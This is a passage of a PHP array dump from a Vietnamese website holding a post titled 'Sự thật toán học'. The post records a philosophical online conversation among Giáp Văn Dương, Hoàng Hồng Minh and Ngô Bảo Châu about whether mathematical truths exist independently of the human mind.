=> null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '711', 'rght' => '712', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 6 => array( 'Post' => array( 'id' => '410', 'name' => 'Sự thật toán học (Theo Sổ tay Thích Học Toán)', 'code' => null, 'alias' => 'su-that-toan-hoc-theo-so-tay-thich-hoc-toan', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Có một kết luận không dễ bắt bẻ là: những sự thật toán học là có thật và tồn tại độc lập với đầu óc con người, trong một thế giới riêng của nó. Chúng có đời sống và những mối liên hệ tự thân mà con người không thể thay đổi được.</div> <div> <br /> <strong>Từ một cuộc gặp</strong><br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (2).jpg" style="width: 250px; height: 188px;" /></div> <div> </div> <div> Câu chuyện này bắt đầu từ một buổi gặp mặt và tán gẫu giữa hai người bạn, tuy ở xa nhưng lại gặp nhau trong một quán café ở Hà Nội, về một trong những chủ đề muôn thuở của con người: Triết học. Đó là Hoàng Hồng Minh (Minh) – ở Paris, Pháp và Giáp Văn Dương (Dương)– khi đó mới ở Liverpool, Anh – về chơi. Đến giờ, không ai nhớ được chi tiết cả hai đã nói những gì trong buổi gặp đó. Nhưng có một thứ chắc chắn là anh Minh nói về khái niệm “tha hóa” và cho rằng, việc hiểu “tha hóa” như cách hiểu hiện giờ là không chính xác, còn Dương thì nói về các “dạng thức ” (forms) của Plato trong liên hệ với khái niệm tha hóa mà anh Minh đề cập. Kết thúc buổi trò chuyện, Dương cho rằng, nếu có một nhà toán học nữa tham gia thảo luận thì thật thú vị, vì các hệ thức toán học, có thể coi như một “dạng thức” của Plato.</div> <div> </div> <div> Năm tháng sau, câu chuyện trở lại, với sự tham gia của một nhà toán học, đó là Ngô Bảo Châu (Châu), lúc này đang ở Chicago, Mỹ. Tuy là tán gẫu qua mạng, lại từ ba nước khác nhau và lệch múi giờ nhau hoàn toàn, nhưng vẫn không kém phần thú vị so với những cuộc tán gẫu thực ở ngoài đời, bên ấm trà hay tách café nóng.</div> <div> </div> <div> Chủ đề của cuộc tán gẫu là Sự thật toán học. Cách xưng hô được giữ nguyên như nó vốn có trong giao tiếp hằng ngày, lấy sự thân quen và tuổi tác làm cơ sở.</div> <div> </div> <div> <strong>Dẫn chuyện</strong></div> <div> </div> <div> Galileo – cha đẻ của khoa học hiện đại – cho rằng “Tự nhiên là cuốn sách được viết bởi ngôn ngữ Toán học”. Tất cả những định luật của khoa học tự nhiên đều được phát biểu dưới dạng những biểu diễn toán học như các phương trình, các bất đẳng thức.</div> <div> </div> <div> Tính đúng đắn của các phương trình, rộng hơn là các quan hệ toán học, trong điều kiện biên xác định, được thừa nhận là bất biến. Vì thế, chúng được gọi là những sự thật toán học. Điều này đôi khi dẫn đến ngộ nhận: chân lý khoa học là bất biến vì các sự thật toán học là bất biến.</div> <div> </div> <div> Chính tính bất biến của các sự thật toán học là nền tảng vững chắc cho việc xây dựng tòa lâu đài tri thức của con người về giới tự nhiên. Nếu tính bất biến của các sự thật toán học không còn nữa, thì tòa lâu đài tri thức này không có cách nào đứng vững được.</div> <div> </div> <div> Vì thế, tìm hiểu về bản chất của sự thật toán học chính là tìm hiểu bản chất tri thức của con người.</div> <div> </div> <div> Sự thật toán học chỉ có được khi xuất phát từ những sự thật toán học đã biết hoặc những tiên đề được cho rằng hiển nhiên đúng, thông qua một quá trình suy luận logic chặt chẽ.</div> <div> Sự tiến bộ của Toán học, vì thế trong một chừng mực nào đó có thể nói là chậm hơn so với những tiến bộ mang tính cách mạng của những ngành khoa học khác như Vật lý, Sinh học, Tin học… Nhưng đổi lại, những tri thức mà nó thu được có tính bền vững đến độ vĩnh cửu. Không ai có thể nghi ngờ rằng Định lý Pythagoras lại không đúng trong một triệu năm sau nữa. Còn những lý thuyết của các ngành khoa học khác rất dễ bị thay thế bởi những lý thuyết khác đúng đắn hơn sau đó, có thể trong khoảng thời gian của một đời người hoặc thậm chí chỉ trong vài năm.</div> <div> </div> <div> Đó cũng là một phần của lý do vì sao các nhà toán học thường kiên trì giải những bài toán có khi ra đời từ hàng trăm năm về trước. Khi làm những việc đó, họ biết rằng đó là những vấn đề vĩnh cửu và tri thức họ thu được cũng sẽ là vĩnh cửu.</div> <div> </div> <div> Chính tính vĩnh cửu của những sự thật toán học đã làm cho công việc của các nhà toán học đặc thù hơn so với công việc của các nhà khoa học khác. Họ phải tuân thủ một qui trình suy luận logic nghiêm ngặt, thay vì thiết kế thí nghiệm, quan sát, đo đạc và so sánh kết quả với tính toán như các nhà khoa học khác thường làm.</div> <div> </div> <div> Chỉ những kết quả thu được từ quá trình suy luận logic nghiêm ngặt này mới được coi là sự thật toán học và đúng mãi với thời gian: từ lúc người ta tìm ra chúng và mãi sau này.</div> <div> </div> <div> Nhưng trước khi người ta tìm ra những sự thật toán học này thì sao? Chẳng hạn, trước khi có con người thì định lý Pythagoras có tồn tại không?</div> <div> </div> <div> Dù không có số liệu thông kê chính thức, nhưng rất nhiều nhà toán học tin một phần hoặc toàn bộ vào sự tồn tại của thế giới những sự thật toán học. Để minh họa điều này, hãy xem xét hai ví dụ: Định lý Fermat lớn và Tập hợp Mandelbrot.</div> <div> </div> <div> Định lý Fermat lớn được Fermat (1601-1665) ghi trên lề của một cuốn sách Arithmetica gần 400 năm về trước, đại ý: phương trình xn+yn=zn không có nghiệm nguyên khác không với n>2. Ở bên lề của cuốn sách, ông có ghi thêm rằng: tôi đã tìm ra cách chứng minh rất tuyệt. Nhưng vì lề sách quá hẹp nên không thể viết ra đây! Nhưng phải mất 358 năm, và làm đau đầu biết bao thế hệ toán học tài năng, định lý này mới được chứng minh bởi Wiles, nhà toán học Anh, năm 1994.</div> <div> </div> <div> Vậy trước khi Wiles chứng minh được định lý này, thì nó có đúng không? Thậm chí giả sử Fermat không viết ra lề sách định lý đó, hoặc bản thân Fermat không được sinh ra ở trên đời, thì định lý đó có tồn tại không?</div> <div> </div> <div> Tập hợp Mandelbrot cũng là một minh chứng rõ ràng cho sự tồn tại độc lập của những sự thật toán học. Được phát hiện bởi Mandelbrot năm 1980 nhưng ban đầu bản thân Mandelbrot cũng không ý thức được hết sự phức tạp của nó. Vậy thì, sự tồn tại của nó có phải là độc lập, khách quan với đầu óc con người?</div> <div> </div> <div> Hai ví dụ này, và vô số những ví dụ khác, dẫn đến một kết luận không dễ bắt bẻ là: những sự thật toán học là có thật và tồn tại độc lập với đầu óc con người, trong một thế giới riêng của nó. Chúng có đời sống và những mối liên hệ tự thân mà con người không thể thay đổi được.</div> <div> </div> <div> Nhưng những kí hiệu toán học chỉ được phát minh trong khoảng vài trăm năm trở lại đây, ví dụ dấu bằng (=) không tồn tại trước thế kỉ 16. Vậy là những phương trình toán học như ta vẫn thấy không thể tồn tại trước thế kỉ 16, do đó, sự tồn tại khách quan của thế giới những sự thật toán học như nhiều nhà toán học nhận định là không có thật. Đó cũng là một lập luận không dễ bắt bẻ.</div> <div> </div> <div> <strong>Tán gẫu qua mạng</strong></div> <div> </div> <div> Dương - Như vậy, sự thật toán học liệu có tồn tại độc lập với đầu óc con người?</div> <div> </div> <div> Châu – Câu hỏi mà Dương đặt ra là một câu hỏi dằn vặt nhiều nhà toán học. Làm toán là một quá trình khám phá (discovery) hay là một quá trình sáng tạo (invention)? Phần đông các nhà toán học nghiêng về câu trả lời thứ nhất: làm toán là một quá trình khám phá. Con người không sáng tạo ra sự thật toán học, mà chỉ khám phá ra nó thôi. Tức là cái sự thật đó đã tồn tại ở đâu đó rồi, chỉ đợi con người đến khám phá.</div> <div> </div> <div> Lập luận của phe “khám phá” là dựa vào sự “đồng thuận” cao trong toán học. Một định lý đã được chứng minh thì không thể phủ nhận được nữa. Vì toán học không phụ thuộc vào một cá nhân cụ thể của một nhà toán học nào, nên có nhiều khả năng, nó có sự tồn tại độc lập.</div> <div> Phe “sáng tạo” thì cho rằng toán học cũng chỉ là sản phẩm của bộ não người mà thôi.</div> <div> </div> <div> Phe “ba phải”, trong đó có mình, thì cho rằng (định nghĩa) toán học là công cụ (ngôn ngữ) để bộ não người nắm bắt thế giới bên ngoài một cách có hệ thống. Suy từ định nghĩa ra thì nó không thể tồn tại nếu không tồn tại bộ não người (mệnh đề này là rỗng vì giả thiết sai), nhưng nó lại phải chịu thuộc tính của cái nằm ngoài bộ não người.</div> <div> </div> <div> Nói thế cũng có lý, nhưng người nghe vẫn chưa thấy thích.</div> <div> </div> <div> Thực ra đây vấn chỉ là cách xê dịch vấn đề, và phủ thêm một lớp lý luận. Nhưng nó dẫn dắt ta đến một câu hỏi thực sự thú vị, theo mình thì thú vị hơn câu hỏi “khám phá” hay “sáng tạo”: đó là tại sao toán học lại phát triển phần lớn bởi cái logic nội tai của nó, tại sao nó lại tỏ ra hữu hiệu đến thế trong việc mô tả thiên nhiên. Vậy thì cái logic là cái con người lựa chọn hay là cái bị thiên nhiên áp đặt ?</div> <div> </div> <div> Minh - Đây là câu chuyện rất thú vị trong Triết học, câu chuyện “tri thức khách quan”. Thiền án đặt ra là con nhện cứ tưởng mình dệt lưới theo ý mình thích, hóa ra lại theo “tri thức khách quan”. Con người tưởng nói năng lung tung được, hóa ra lại theo “ngữ pháp”, thực chất là một trong các dạng biểu đạt của cấu trúc logic khách quan?</div> <div> </div> <div> Dương – Em cũng nghiêng về cách nhìn “ba phải”, nên mới có câu hỏi là trước khi các kí hiệu toán học (ngôn ngữ toán học) ra đời thì sao. Có lẽ các sự thật toán học chỉ là các mô hình của thực tại. Nhưng cách thức tồn tại và phát triển của toán học làm người ta nghi ngại nhận định này.</div> <div> </div> <div> Về sự phát triển theo logic nội tại của Toán học, liệu có sự tương đồng với một quá trình tự diễn biến nào trong giới tự nhiên không? Nếu có thì có thể dùng một mô hình Vật lý nào đó để khảo sát? Còn nữa, liệu bản chất của việc tìm kiếm các sự thật toán học có thể giải thích theo kiểu “phép đo” trong cơ học lượng tử?</div> <div> </div> <div> Trong Cơ học lượng tử, trạng thái của một hệ vi mô được mô tả bởi hàm sóng là chồng chập của tất các các trạng thái khả dĩ. Khi phép đo được tiến hành, hệ co về một trạng thái duy nhất ứng với kết quả của phép đo. Điều này liệu có điểm gì tương đồng với các sự thật toán học trong giả thiết sau: trước khi được khám phá ra thì thế giới các sự thật toán học ở trạng thái chồng chập đúng-sai, bất định-xác định… cho đến khi được một nhà toán học tiến hành “đo đạc” bằng cách tiến hành những thao tác suy luận logic để chứng minh hoặc phủ nhận một giả thiết toán học nào đó. Trạng thái của sự thật toán học khi đó sẽ co sập lại về tương ứng với kết quả của chứng minh giống như trạng thái của hệ vi mô co sập lại về tương ứng với phép đo trong cơ học lượng tử? Nói cách khác: chính tư duy của nhà toán học đã tạo ra sự thật toán học, giống như phép đo trong cơ học lượng tử đã tạo ra tính chất của hệ vi mô dưới dạng mô tả được?</div> <div> </div> <div> Như thế, một sự thật toán học được tìm ra cũng giống như kết quả của phép đo: vừa mang tính chủ quan, vừa mang tính khách quan, biểu hiện ở chỗ: sự thật toán học là sản phẩm của quá trình tư duy của nhà toán học, nhưng lại nghiệm đúng một cách khách quan và vĩnh viễn sau khi đã được tìm ra? Câu hỏi còn lại là liệu sự thật toán học có mang tính xác suất – bất định như trong cơ học lượng tử?</div> <div> </div> <div> Và hơn nữa, là vì sao bằng tư duy – “phép đo” của mình – con người lại có thể tìm ra những sự thật toán học này?</div> <div> </div> <div> Em có linh cảm là việc tìm kiếm các sự thật toán học và phép đo trong cơ học lượng tử rất gần nhau. Nhưng chỉ là linh cảm thôi, chưa có bằng chứng gì cả.</div> <div> </div> <div> Còn về câu chuyện “tri thức khách quan”, thì đó không chỉ là tri thức có khách quan, mà còn là bản chất của tri thức, nguồn gốc và mối liên hệ của nó với thực tại. Tất nhiên điều này cũng sẽ dẫn đến câu hỏi thực tại là gì và mối liên hệ của nó với tri thức như thế nào, làm sao mà con người lại có thể nhận thức được chúng, nhận thức đó liệu có khách quan hay hoàn toàn chủ quan hay là hỗn hợp của hai thứ đó.</div> <div> </div> <div> Rõ ràng cuộc đối thoại này đã bước ra khỏi phạm vi của các sự thật toán học và tiến tới một lĩnh vực khác: bản chất của thực tại và mối liên hệ của nó với các biểu diễn toán học. Trước khi những kí hiệu và khái niệm toán học được phát minh ra thì các hệ thức toán học như chúng ta thấy bây giờ không tồn tại, nhưng các mối liên hệ của tự nhiên, như trái đất quay xung quanh mặt trời một vòng hết 365 ngày, vẫn tồn tại dù không được biểu diễn bởi các phương trình. Vấn đề đặt ra – hóc búa– là mối quan hệ của thực tại với các mô hình toán học thực sự là gì?</div> <div> </div> <div> Trong trường hợp này, sự thật toán học được chọn như một ví dụ của tri thức. Ngôn ngữ cũng là một ví dụ tốt để xem xét.</div> <div> </div> <div> Minh - Anh nhìn nhận Logos là cái tính năng tràn khắp vũ trụ, cho nên ta và con mèo hiểu nhau rất dễ, và cái trái cây khi chưa sẵn sàng để phát tán hạt thì vẫn giữ màu lá cây để tự vệ và khuyên nhủ các loài “hãy kệ tôi đã”.</div> <div> </div> <div> Riêng xem trong thế giới thực vật và sinh vật muôn loài, ta đã thấy muôn vàn các quá trình trao đổi thông tin, anh từng đặt chữ là “giao tin”, thực hiện được, vậy là dựa vào đâu? Vào tính logos phổ quát.</div> <div> </div> <div> “Sự thật toán học” được Dương nói đến ở trên đây như những kết quả được xây dựng từ những tiên đề toán học “qua một quá trình suy luận logic chặt chẽ”. Như thế chính ở đây ta thừa nhận hệ thống các thuộc tính-quan hệ logic như một hệ thống công cụ có tính tiền đề. </div> <div> </div> <div> “Sự thật logic” như vậy còn tồn tại “trước” cả “sự thật toán học”. “Trước” không phải về không gian, thời gian vật lý, mà về mặt.. logic!</div> <div> </div> <div> Chuyện vui, nếu nhà toán học lạc vào trong rừng mà gặp phải con hổ, con hổ sẽ hiểu nhà toán học hơn cả nhà toán học hiểu chính mình trong địa hạt này… Con hổ sẽ lừa cho nhà toán học toát mồ hôi, toát ngu muội, và nhà toán học chỉ còn biết trông chờ vào may mắn! Tại sao? Vì cả hai cùng với giới tự nhiên đều cùng chia sẻ cái logos phổ quát về không gian, thời gian, về nhân quả, về luận lý, và cả về tâm lý! Và con hổ thì hiểu logos của thánh địa của nó hơn nhà toán học, hiểu cả rằng nó nhanh nhẹn, mạnh mẽ, và khôn ngoan trong săn bắt hơn chính nhà toán học!</div> <div> </div> <div> Ý niệm về “Đạo” của Lão, Trang có gần gũi với Logos. Nhưng yếu kém của “Đạo” là chưa ý thức được cái năng lực siêu phàm trong cái thần của Logos, là dạng thức (forms) – ở ta hay dịch là “hình thức”, cái chữ dễ bị hiểu nhầm nôm na thành như “bề ngoài”. Nhờ hiểu biết về tầm quan trọng vô cùng của dạng thức mà các hiểu biết về logic và toán học phát triển được lên.</div> <div> </div> <div> Nghiên cứu về logic, theo mình thì không có cái gọi là môn “logic nội dung” chọi với “logic hình thức”! Đó chỉ là sự diễn nôm hời hợt. Chỉ có một môn logic, và đó chính là logic dạng thức. Các bộ môn nghiên cứu ứng dụng logic không phải là “logic khác”, mà là các nghiên cứu ứng dụng logic mở ra trong các miền tri thức, các ứng dụng này không phải là các lựa chọn khả thay thế. Ví dụ như “modal logic” là môn nghiên cứu ứng dụng về tình thái ngữ nghĩa trong ngôn ngữ…</div> <div> </div> <div> Phát hiện về dạng thức là nền tảng cho sự phát triển có tính xây dựng được của nền văn minh tinh thần! Khi bạn đang đọc bài trao đổi này, bạn không “đọc” một cuộc thảo luận nguyên trạng, mà đọc cái đã dạng thức hóa của nó qua các “nguyên tử” ký tự (chữ cái, gồm cả các dấu nghỉ, cảm thán, khoảng trắng, cùng “dấu xuống dòng”, dấu chuyển hồi đoạn, dấu chấm hết … gọi chúng là “nguyên tử” vì các nhân tố này là nhỏ nhất trong hệ thống, không còn chẻ ra tiếp được nữa) đã được cấu trúc hóa theo các qui tắc ngữ pháp. Nói theo logic, các ký tự hợp thành hệ thống các ký hiệu, và việc áp dụng hệ các qui tắc nối kết vào các ký hiệu làm nên các công thức (từ, liên từ, đoạn, câu…), chúng được cắt nghĩa và vận động trong một hệ thống luận suy. Xa xôi hơn, bạn đang đọc được một dãy mã hóa “sắc không”, “âm dương”, “0 và 1”, được đại diện bởi các xung điện. Và cuối cùng, chính bạn phải làm cả một cuộc cắt nghĩa toàn bộ dãy mã này trong văn hóa khoa học tiếng Việt để “cảm hiểu” bài trao đổi.</div> <div> </div> <div> Cũng cần nói rõ là cái ý niệm “sắc không”, “âm dương” trong triết học cổ phương Đông chỉ là một khởi điểm của ý tưởng về các đối cực, chứ không hề liên quan gì đến việc phát triển của khoa máy tính sau này. Vì để có ý tưởng mã hóa tất thảy các hiện tượng chỉ từ hai trạng thái để lợi dụng được các xung điện, phải hiểu ra và phát triển được cái logos “dạng thức”, phát triển logic, toán học để xây dựng nên được ngôn ngữ dạng thức và hệ thống các thuật toán, để rồi có thể công nghệ hóa, tự động hóa chúng. Dãy các trạng thái “0 và 1” còn phải chứa hệ thống các cấu trúc để cho phép gắn kết chúng như thế nào trong quá trình vào mã và giải mã các thông tin. Các nhà Đông học tuyệt đối không có gì để vơ quàng sĩ diện ở đây.</div> <div> Cái tiếp theo của câu chuyện nói ở trên là cái nhìn triết học về “khách quan- chủ quan”, “vật chất- tinh thần”.</div> <div> </div> <div> Ở ta lâu nay người ta nhìn vấn đề này không theo tầng tinh thần triết học, mà theo cảm hứng dân dã, “lập trường”. Nên nhìn nhận rất chân thành rằng ở ta không có căn bản truyền thống về tinh thần văn hóa triết học – logic.</div> <div> </div> <div> Câu chuyện vật chất – tinh thần, cái nào “có trước”, cần nói rõ là “có trước về mặt triết học-logic”, là vấn đề lựa chọn.</div> <div> </div> <div> Ví dụ khi bạn chấp nhận “vật chất có trước tinh thần”, bạn dùng cái gì để “xác nhận” nó ? Bạn dùng chính tinh thần bạn!</div> <div> </div> <div> Nếu bạn không dùng tinh thần của bạn để công nhận “vật chất có trước tinh thần”, thì bạn quả là siêu nhiên! Bạn lại dùng “tinh thần vũ trụ” chăng?</div> <div> </div> <div> Như vậy sự công nhận về sự tồn tại của thế giới bên ngoài, “có trước”, độc lập với tinh thần con người, là vấn đề phương pháp, vấn đề lựa chọn tiên đề, chứ không có và không thể có vấn đề “đúng sai” theo nghĩa triết học ở đây.</div> <div> </div> <div> Cái rắc rối tiếp theo là liệu có một cái “logos phổ quát bên ngoài tinh thần con người” hay không?</div> <div> </div> <div> Cái này cũng thuộc về tiên đề triết học nốt. Phải lựa chọn.</div> <div> </div> <div> Và nếu bạn muốn hiểu “sự thật logic”, “sự thật toán học” như một “tri thức khách quan” thì đó cũng là một lựa chọn.</div> <div> </div> <div> Tri thức tiến lên nhiều khi không phải chỉ do “lập luận thông minh đơn thuần”. Lập luận không làm tiến hóa hệ thống. Lập luận chỉ củng cố hoặc mở rộng hệ thống, nếu hệ thống tỏ ra vẫn chuẩn xác (chưa bị rơi vào tự mâu thuẫn), hoặc ngược lại làm nó lụi tàn, nếu hệ thống không chịu nổi các thử thách về logic. Tri thức tiến lên còn do sự quyết đoán lựa chọn, tiêu biểu là việc lựa chọn các tiên đề. Người biết lựa chọn các tiên đề tất nhiên không phải người tầm thường. Sự lựa chọn là một cách mở rộng hoặc đổi thay hệ thống với những rủi ro và đột biến tiến hóa.</div> <div> </div> <div> Einstein đã lựa chọn tiên đề tốc độ ánh sáng là tốc độ cực đại trong vũ trụ chẳng hạn, điều vượt quá đa phần các bộ óc con người (trong đó tất nhiên có mình ! ;-) ).</div> <div> </div> <div> Sự lựa chọn việc tồn tại “logos khách quan” cũng có những cơ sở của nó. Giản đơn nếu như nhà toán học mà quên cho con mèo ăn, thì con mèo sẽ biết làm cho nhà toán học phải hiểu ra bằng được điều đó và cho nó ăn mà thôi.</div> <div> </div> <div> Lựa chọn sự tồn tại “tri thức khách quan” không có nghĩa là bạn đã có nó! Mà bạn hy vọng có thể phát hiện ra nó, đạt được nó như những tri thức cơ sở. Hơn thế nữa, từ những tri thức cơ sở đó bạn có thể xây dựng những tri thức mới trong khi tuân thủ những “tri thức khách quan về logic” – những tri thức chưa bị bác bỏ được. Nhìn chung tri thức luôn có cả hai mặt phát hiện và sáng chế. Như cái công nghệ thông tin phục vụ bạn đây là thuộc về sáng chế, có thế ta mới xem được những bức ảnh chụp bề mặt sao Hỏa rõ mồn một.</div> <div> </div> <div> Tất nhiên bạn có thể chọn tiên đề “không có tri thức khách quan”.</div> <div> </div> <div> Lựa chọn chỉ là phương pháp. Bạn “tự do” trong lựa chọn. Vấn đề là sự lựa chọn đó đưa bạn đi đến đâu, bạn phải đảm trách sự lựa chọn của mình. Cho nên ý thức triết học nhắn ta phải luôn luôn sẵn sàng nhìn lại những tiên đề của mình.</div> <div> </div> <div> Tam giác triết học – logic – toán học thật hấp dẫn và trong tầng sâu thẳm chúng trộn vào nhau. Hãy xem vài trường hợp sau:</div> <div> </div> <div> Lý thuyết tập hợp hình thành là một sự cộng sinh tuyệt đẹp của triết học, logic và toán học.</div> <div> </div> <div> Tỉ như dãy số tự nhiên 0,1,2…n… thực ra không hề “tự nhiên”, mà lần đầu tiên được xây dựng và cắt nghĩa hoàn chỉnh qua các khái niệm triết học-logic-toán học trong lý thuyết tập hợp.</div> <div> </div> <div> Tập rỗng là tập không chứa phần tử nào, ký hiệu “tập 0”. Đây là một tiên đề có tính triết học về mối tương sinh của tồn tại-hư vô, về “khởi thủy”. Không thể tranh luận gì được ở đây.</div> <div> </div> <div> Tập chứa đơn thuần tập rỗng, kí hiệu “tập 1”.</div> <div> </div> <div> Tập chứa “tập 0” và “tập 1”, ký hiệu “tập 2”, v.v.</div> <div> </div> <div> Và như thế ta có một dãy trật tự hóa, mỗi yếu tố trong dãy này là một tập hợp mà các phần tử của mình chính là tất cả các yếu tố- tập hợp đứng trước nó.</div> <div> </div> <div> Vui chuyện, ta có thể tự an ủi rằng cái ý thức của cá nhân mình khi chưa hình thành thì là một tập rỗng. Dần dà nó phát triển lên thật phong phú. Còn khi ta ra đi, ý thức của ta lại trở về là tập rỗng.</div> <div> </div> <div> Hay lấy một ví dụ khác, một quan hệ logic thuần, đơn giản hóa.</div> <div> </div> <div> Cho A, B, C,…Z là những thành tố của một tập hợp “đồng chất” (cùng một lĩnh vực).</div> <div> </div> <div> “Tính bắc cầu” là một quan hệ logic, ký hiệu R, được hiểu: R(A, B) & R(B, C) à R(A, C). Nghĩa là nếu quan hệ bắc cầu tồn tại giữa A và B, và nếu quan hệ bắc cầu đó cũng tồn tại giữa B và C thì ta có quan hệ bắc cầu này giữa A và C.</div> <div> </div> <div> Bây giờ nếu ta có thêm R(C, D) thì ta sẽ có R(A, D), vì ở trên ta đã có R(A,C). Phép chứng minh là một phép co rút hay quy giản tìm được khi áp dụng liên tục các quy tắc suy luận xác thực trên dãy các tiên đề và công thức đã được chứng minh: R(A, B) & R(B, C) à R(A, C); R(A, C) & R(C,D) à R(A, D).</div> <div> </div> <div> Vậy khi phải tính toán, nếu có R(A,B) & R(B,C) & R(C,D) & … & R(Y,Z) thì R(A,Z) có tồn tại hay không, công việc logic này đã thành công việc của toán học. Để gửi cái e-mail từ Chử Đồng Tử tới Tiên Dung, tri thức logic-toán học đã khách quan hóa trong các phần mềm ở các máy chủ sẽ tính xem gửi các gói thông tin này qua các nút máy nào để tính bắc cầu được thực hiện hiệu quả nhất.</div> <div> </div> <div> Và ở chỗ này, bằng chứng của sự lựa chọn “tri thức khách quan” là sức mạnh hiển nhiên: tri thức logic-toán học ở con người đã được chuyển ra ngoài, đây chính là nội dung của khái niệm “tha hóa” mà mình đã từng nói tới, chuyển thành “tri thức khách quan”, hoạt động tự động trong các máy tính! Đó chính là giá trị của sự lựa chọn triết học! Ngày mai bạn có thể được phẫu thuật bằng máy móc điều khiển do một bác sĩ ở phần bên kia địa cầu thông qua internet, và bạn đành phải tin vào tri thức khách quan nằm giữa bạn và ông bác sĩ!</div> <div> </div> <div> Cũng từ đây cho ta thấy cải cách và tiến bộ xã hội là có thể, vì tri thức, trong đó có các lý tưởng nhân văn xác quyết, có thể dần chuyển được ra “xã hội bên ngoài”, làm nên nền văn minh. Và kết thúc được cái xã hội chủ quan luẩn quẩn “con rắn cắn đuôi”, mãi mãi làm lại từ đầu!</div> <div> </div> <div> “Sự thật” hay “chân lý” về mặt triết học-logic là như sau: một biểu đạt, một hệ thống các biểu đạt (hay công thức), rộng nữa là một lý thuyết, có thỏa mãn bảng giá trị chân lý hay không.</div> <div> </div> <div> Nhưng bản thân cái bảng giá trị này, sâu xa về triết học-logic, thì lại không liên quan gì đến chân lý! Nó có đó do sự lựa chọn. Giống như các tiên đề vậy. Như thế chính triết học luôn cảnh tỉnh ta về sự lựa chọn của mình, thay vì băn khoăn và mắc tóc trong chính sự không ý thức về những lựa chọn đã được thực hiện.</div> <div> </div> <div> Về văn hóa thì chuyện này lại càng thú vị nữa. Con người lớn lên và được tắm trong cả “một biển các giá trị chân lý mẹ truyền”! Không có tư duy triết học, con người loay hoay mắc tóc trong đó đời này sang đời khác, đặt những câu hỏi không vào sâu được hơn cái lớp bao bì chân lý mẹ truyền này, và như ta thường hay thấy, người ta tấm tắc “các cụ nói cấm câu nào sai”! Nếu bạn để ý một chút thôi, thì cái biển chân lý này bao giờ cũng chứa tất cả các mệnh đề trái ngược nhau, tỉ như “một giọt máu đào, hơn một ao nước lã” chọi với “bán anh em xa, mua láng giềng gần”. Các lý thuyết cai trị cổ hủ cũng thường rơi vào tình huống này, do vừa cố mở rộng độ biên của ứng dụng, vì đời sống phong phú lên, lại vừa cố bảo trì các tiền đề cũ kĩ. Một cộng đồng muốn tiến lên, phải làm một cuộc tổng kiểm kê về cái bảng các giá trị này, để mà mình ý thức về chúng, để mà mình sẵn sàng được cảnh tỉnh về chúng, để mà mình có thể thay đổi chúng. Việc này không hề dễ tí nào, tương tự như việc quả táo rơi xuống đất tưởng đã hiển nhiên là chân lý, mà hóa ra lại chỉ là một nửa chân lý như Newton đã nhìn ra!</div> <div> </div> <div> Trong tương quan với các lĩnh vực cụ thể, các quan hệ logic như thế nằm ở tầm “cao hơn chân lý”, “trước chân lý” của những lĩnh vực đó… luôn luôn về mặt logic thôi. Về hình ảnh các quan hệ logic đã dạng thức hóa này tồn tại “trước” khi bị “nhúng vào” trong “các trường nhất định”, “các cư dân nhất định”. Ta tạm gọi các quan hệ này «ở ngoài vật thể” hay “trước vật thể”, chú ý, theo nghĩa… logic!</div> <div> </div> <div> Ví dụ quan hệ logic bắc cầu đã nói trên kia R: R(A, B) & R(B, C) à R(A, C) là một dạng thức quan hệ logic thuần.</div> <div> </div> <div> Chỉ khi “nhúng” quan hệ này vào các “trường sự vật» cụ thể, ở đó mới đẻ ra vấn đề chân lý cụ thể, hay gọi là vấn đề cắt nghĩa trên “một trường sự vật”.</div> <div> </div> <div> Trong cái thế giới sự vật “hệ thống tàu điện”, tính bắc cầu này thỏa mãn chân lý.</div> <div> </div> <div> Trong lĩnh vực “yêu mến”, tính bắc cầu không bắt buộc thỏa mãn chân lý. A yêu mến B, B yêu mến C, không tất yếu A yêu mến C. Ở đây việc triển khai tính bắc cầu mang tính bất định, “có thể bị bác bỏ”.</div> <div> </div> <div> Lưu ý rằng tính bắc cầu không nhất thiết thỏa mãn chân lý trong lĩnh vực “yêu mến”, không có nghĩa là tính bắc cầu “sai” về logic thuần túy. Chuyện đó không có nghĩa. Nói thế để ta thấy rõ hơn tầng logic nằm “trước và ngoài” tầng các sự vật cụ thể.</div> <div> </div> <div> Nói chuyện nhiều khi một xã hội Á Đông cứ loay hoay tranh cãi hàng ngàn năm rằng cái “mô hình” xã hội Nghiêu Thuấn “vua sáng tôi hiền, nhà nhà đi ngủ không phải đóng cửa, người người ra đường không ai nhặt của rơi” tự nó đúng hay sai? Câu hỏi đó vô nghĩa và vô ích về mặt vận hành xã hội. Hãy gác việc phân tích kinh viện cái “mô hình” siêu giản siêu thuần túy đó sang một bên, chưa cần thiết. Hãy cắt nghĩa khi áp dụng cái mô hình “logic” đó vào xã hội ở thời điểm lịch sử nhất định, ta đã có tư liệu lịch sử hàng ngàn năm rồi, xem nó có đảm bảo đưa lại thái bình no đủ vui tươi bền vững hay không ? Nếu là “không”, thì nó là sai theo bảng giá trị được chờ đợi trong cái trường lịch sử đó, và ta không phải lo lựa chọn nó.</div> <div> </div> <div> Vấn đề Dương có thể đẩy lên thú vị hơn nữa, là Logos có tồn tại độc lập được với vật thể không? Ví dụ với các lực hấp dẫn đã được tính toán đó, sự tồn tại của bản thân các vật thể có còn là bắt buộc không, hay các vật thể chỉ còn là sự thể hiện và mách bảo cho ta cái Logos. Các công thức tính toán theo nghĩa nào đó đã được “phi vật thể hóa”. Nhà thiết kế một tòa nhà nay có các tri thức khách quan đã được “tha hóa”, chuyển hóa ra và nằm sẵn trong phần mềm máy tính, và anh ta có 